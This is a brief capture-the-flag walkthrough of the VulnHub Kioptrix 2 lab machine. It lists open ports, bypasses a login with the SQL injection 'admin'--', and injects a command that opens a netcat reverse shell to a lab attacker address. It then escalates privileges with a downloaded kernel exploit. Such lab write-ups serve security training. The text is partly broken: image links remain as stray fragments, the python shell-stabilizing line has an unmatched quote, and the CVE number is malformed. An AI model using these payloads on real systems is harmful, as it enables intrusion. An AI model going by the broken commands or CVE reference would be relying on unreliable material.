Kioptrix 2
IP: 192.168.118.130
OS: centos
Difficulty: Easy
Date: 10/19/2026
Source: VulnHub
Nmap
nmap -sV -sC -p- <IP>
Open ports:
- 22 -> ssh
- 80 -> http
- 111 -> rpcbind
- 443 -> sshl/http
- 631 -> CUPS 1.1
- 784 -> 1(RPC)
- 3306 -> mysql
.png)
Enumeration
Web
The index page showed this login page.
.png)
Enumerated for hidden directories but did not find anything too useful.
.png)
Foothold
Vulnerability: SQLi through the panel used.
admin'--
.png)
This allowed access to the admin panel and setup of a reverse shell using the following command.
Exploit:
127.0.0.1;/usr/local/bin/nc 192.168.118.129 8080 -e '/bin/bash'
.png)
After getting the shell, stabilized it with:
python -c 'import pty;pty.spawn("/bin/bash)'
Then used:
export TERM=xterm
Now the screen can be cleared.
Privilege Escalation
Vector: Vulnerable to the well-known CVE2009-2598 kernel exploit.
Technique: Download the exploit through exploitdb.
!
.png)
Compile the file on the target machine and run it.
.png)
.png)